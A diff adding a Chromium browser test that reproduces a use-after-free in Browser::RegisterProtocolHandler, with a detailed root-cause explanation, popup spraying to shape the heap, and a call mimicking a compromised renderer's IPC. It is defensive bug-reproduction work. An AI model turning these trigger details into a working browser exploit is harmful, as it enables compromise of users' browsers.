diff --git a/chrome/browser/ui/browser_register_protocol_handler_uaf_browsertest.cc b/chrome/browser/ui/browser_register_protocol_handler_uaf_browsertest.cc new file mode 100644 index 0000000000000..8e0d43541de70 --- /dev/null +++ b/chrome/browser/ui/browser_register_protocol_handler_uaf_browsertest.cc @@ -0,0 +1,196 @@ +// Copyright 2025 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// Browser test demonstrating a heap-use-after-free in +// Browser::RegisterProtocolHandler(). +// +// Browser::RegisterProtocolHandler() captures two raw pointers (a +// PermissionRequestManager* and the requesting RenderFrameHost*) and then +// calls WebContents::ForSecurityDropFullscreen(). On Windows +// (::SetWindowPos synchronous dispatch) and macOS ([NSWindow toggleFullScreen:] +// nested run-loop) the resulting Widget::SetFullscreen call can pump the UI +// thread message loop and process a previously-queued window.close(), +// destroying the requesting WebContents while ForSecurityDropFullscreen is +// still on the stack — a hazard explicitly documented in +// content/browser/web_contents/web_contents_impl.cc ("This may spin the +// message loop and destroy this object."). +// +// ForSecurityDropFullscreen()'s second loop only checks `weak_this` at the +// *start* of each iteration: when the *last* iteration's +// `opener->ExitFullscreen(true)` destroys `this`, the function falls through +// and returns a non-nullopt ScopedClosureRunner, defeating the caller's +// `if (!blocker) return;` guard. The caller then dereferences the freed +// PermissionRequestManager* and RenderFrameHost*. +// +// On Linux SetFullscreen is asynchronous at the OS level and never pumps a +// nested message loop, so the platform race cannot fire naturally. This test +// instead destroys the requesting WebContents from a +// WebContentsObserver::DidToggleFullscreenModeForTab() callback that fires +// synchronously inside the same `opener->ExitFullscreen(true)` stack frame — +// a deterministic stand-in for the documented Windows/macOS hazard. + +#include "base/memory/raw_ptr.h" +#include "build/build_config.h" +#include "chrome/browser/ui/browser.h" +#include "chrome/browser/ui/browser_window.h" +#include "chrome/browser/ui/browser_window/public/browser_window_features.h" +#include "chrome/browser/ui/exclusive_access/exclusive_access_manager.h" +#include "chrome/browser/ui/exclusive_access/fullscreen_controller.h" +#include "chrome/browser/ui/tabs/tab_strip_model.h" +#include "chrome/test/base/in_process_browser_test.h" +#include "chrome/test/base/ui_test_utils.h" +#include "components/permissions/permission_request_manager.h" +#include "content/public/browser/fullscreen_types.h" +#include "content/public/browser/render_frame_host.h" +#include "content/public/browser/web_contents.h" +#include "content/public/browser/web_contents_delegate.h" +#include "content/public/browser/web_contents_observer.h" +#include "content/public/test/browser_test.h" +#include "content/public/test/browser_test_utils.h" +#include "net/test/embedded_test_server/embedded_test_server.h" +#include "third_party/blink/public/mojom/frame/fullscreen.mojom.h" +#include "url/gurl.h" + +namespace { + +// Observer attached to the *opener* (fullscreen) WebContents that — when the +// opener's content-fullscreen exit notification fires — synchronously deletes +// a *different* WebContents from the same browser's TabStripModel. This +// simulates a queued popup window.close() being processed inside the +// platform-specific nested message loop that Widget::SetFullscreen runs on +// Windows/macOS. +class DestroyOnFullscreenExitObserver : public content::WebContentsObserver { + public: + DestroyOnFullscreenExitObserver(content::WebContents* opener, + Browser* browser, + content::WebContents* victim) + : content::WebContentsObserver(opener), + browser_(browser), + victim_(victim) {} + + void DidToggleFullscreenModeForTab(bool entered_fullscreen, + bool will_cause_resize) override { + if (entered_fullscreen || !victim_) { + return; + } + content::WebContents* victim = victim_; + victim_ = nullptr; + int index = browser_->tab_strip_model()->GetIndexOfWebContents(victim); + ASSERT_NE(TabStripModel::kNoTab, index); + // Synchronously deletes |victim| (and its PermissionRequestManager and + // RenderFrameHosts) — the same end state a nested-loop window.close() + // would produce on Windows/macOS. + browser_->tab_strip_model()->DetachAndDeleteWebContentsAt(index); + fired_ = true; + } + + bool fired() const { return fired_; } + + private: + raw_ptr browser_; + raw_ptr victim_; + bool fired_ = false; +}; + +} // namespace + +class RegisterProtocolHandlerFullscreenUAFTest : public InProcessBrowserTest { + public: + void SetUpOnMainThread() override { + InProcessBrowserTest::SetUpOnMainThread(); + ASSERT_TRUE(embedded_test_server()->Start()); + } +}; + +IN_PROC_BROWSER_TEST_F(RegisterProtocolHandlerFullscreenUAFTest, + UseAfterFreeOnOpenerFullscreenExit) { + // Tab 0 ("opener_wc") will be the opener that enters content fullscreen. + // Use the raw 127.0.0.1 origin so the protocol-handler URL passes + // network::IsUrlPotentiallyTrustworthy() inside ProtocolHandler::IsValid(). + GURL url = embedded_test_server()->GetURL("/title1.html"); + ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), url)); + content::WebContents* opener_wc = + browser()->tab_strip_model()->GetActiveWebContents(); + + // Open "victim_wc" via window.open() so its original-opener chain points at + // opener_wc — required for GetAllOpeningWebContents(victim_wc) to contain + // opener_wc inside ForSecurityDropFullscreen()'s second loop. + // + // The second loop iterates a base::flat_set ordered by raw pointer value; + // the residual gap (no `weak_this` check after the last iteration) is only + // hit when the fullscreen opener is iterated *last*, i.e. when + // &opener_wc > &victim_wc. Under ASAN's mostly-monotonic allocator the + // opener (allocated first) usually has the lower address, so spray enough + // popups to cross an mmap-arena boundary — ASLR then gives a reasonable + // chance one lands below the opener. Unsuitable candidates are kept open; + // closing them would just send their slots to ASAN quarantine. + content::WebContents* victim_wc = nullptr; + for (int attempt = 0; attempt < 64; ++attempt) { + content::WebContentsAddedObserver added; + ASSERT_TRUE(content::ExecJs( + opener_wc, + content::JsReplace("window.open($1, '_blank');", url.spec()))); + content::WebContents* candidate = added.GetWebContents(); + ASSERT_TRUE(candidate); + EXPECT_TRUE(content::WaitForLoadStop(candidate)); + ASSERT_EQ(opener_wc, + candidate->GetFirstWebContentsInLiveOriginalOpenerChain()); + if (reinterpret_cast(candidate) < + reinterpret_cast(opener_wc)) { + victim_wc = candidate; + break; + } + } + if (!victim_wc) { + GTEST_SKIP() << "Could not obtain &victim_wc < &opener_wc heap ordering " + "(ASAN-allocator dependent); re-run the test."; + } + // The extra sibling tabs are not in victim_wc's opener chain, so they do + // not appear in GetAllOpeningWebContents(victim_wc) and do not affect the + // flat_set iteration order. + + // PermissionRequestManager is required to reach the vulnerable branch. + ASSERT_NE(nullptr, + permissions::PermissionRequestManager::FromWebContents(victim_wc)); + content::RenderFrameHost* victim_rfh = victim_wc->GetPrimaryMainFrame(); + + // Activate the opener tab and put it into HTML5 content fullscreen so that + // is_fullscreen(opener_wc) is true inside ForSecurityDropFullscreen. + int opener_idx = + browser()->tab_strip_model()->GetIndexOfWebContents(opener_wc); + browser()->tab_strip_model()->ActivateTabAt(opener_idx); + { + ui_test_utils::FullscreenWaiter waiter(browser(), {.tab_fullscreen = true}); + static_cast(browser()) + ->EnterFullscreenModeForTab(opener_wc->GetPrimaryMainFrame(), {}); + waiter.Wait(); + } + ASSERT_EQ(content::FullscreenMode::kContent, + static_cast(browser()) + ->GetFullscreenState(opener_wc) + .target_mode); + + // Arrange for victim_wc to be synchronously destroyed inside + // opener_wc->ExitFullscreen() — the documented Windows/macOS hazard. + DestroyOnFullscreenExitObserver destroyer(opener_wc, browser(), victim_wc); + + // Reach the vulnerable code path exactly as the renderer-supplied + // LocalFrameHost::RegisterProtocolHandler IPC would: a compromised renderer + // controls the user_gesture bit, so pass true. + GURL handler_url = embedded_test_server()->GetURL("/handle?q=%s"); + // ASAN build: heap-use-after-free fires inside this call when + // PermissionRequestManager::AddRequest dereferences the freed + // PermissionRequestManager `this` and the freed RenderFrameHost*. + static_cast(browser()) + ->RegisterProtocolHandler(victim_rfh, "web+poc", handler_url, + /*user_gesture=*/true); + + // If we get here without an ASAN crash, either the destruction did not + // happen on the expected stack frame or the bug is fixed. + EXPECT_TRUE(destroyer.fired()) + << "Opener fullscreen exit was not reached — preconditions not met."; + ADD_FAILURE() << "Expected ASAN heap-use-after-free in " + "PermissionRequestManager::AddRequest; if this line is " + "reached, the UAF did not fire (bug fixed?)."; +} diff --git a/chrome/test/BUILD.gn b/chrome/test/BUILD.gn index d04431b79d9ea..a279f9d083e70 100644 --- a/chrome/test/BUILD.gn +++ b/chrome/test/BUILD.gn @@ -3950,6 +3950,7 @@ if (!is_android) { "../browser/ui/browser_command_controller_browsertest.cc", "../browser/ui/browser_commands_browsertest.cc", "../browser/ui/browser_instant_controller_browsertest.cc", + "../browser/ui/browser_register_protocol_handler_uaf_browsertest.cc", "../browser/ui/browser_tab_strip_model_delegate_browsertest.cc", "../browser/ui/browser_tabrestore_browsertest.cc", "../browser/ui/desktop_to_mobile_promos/ios_promos_utils_browsertest.cc",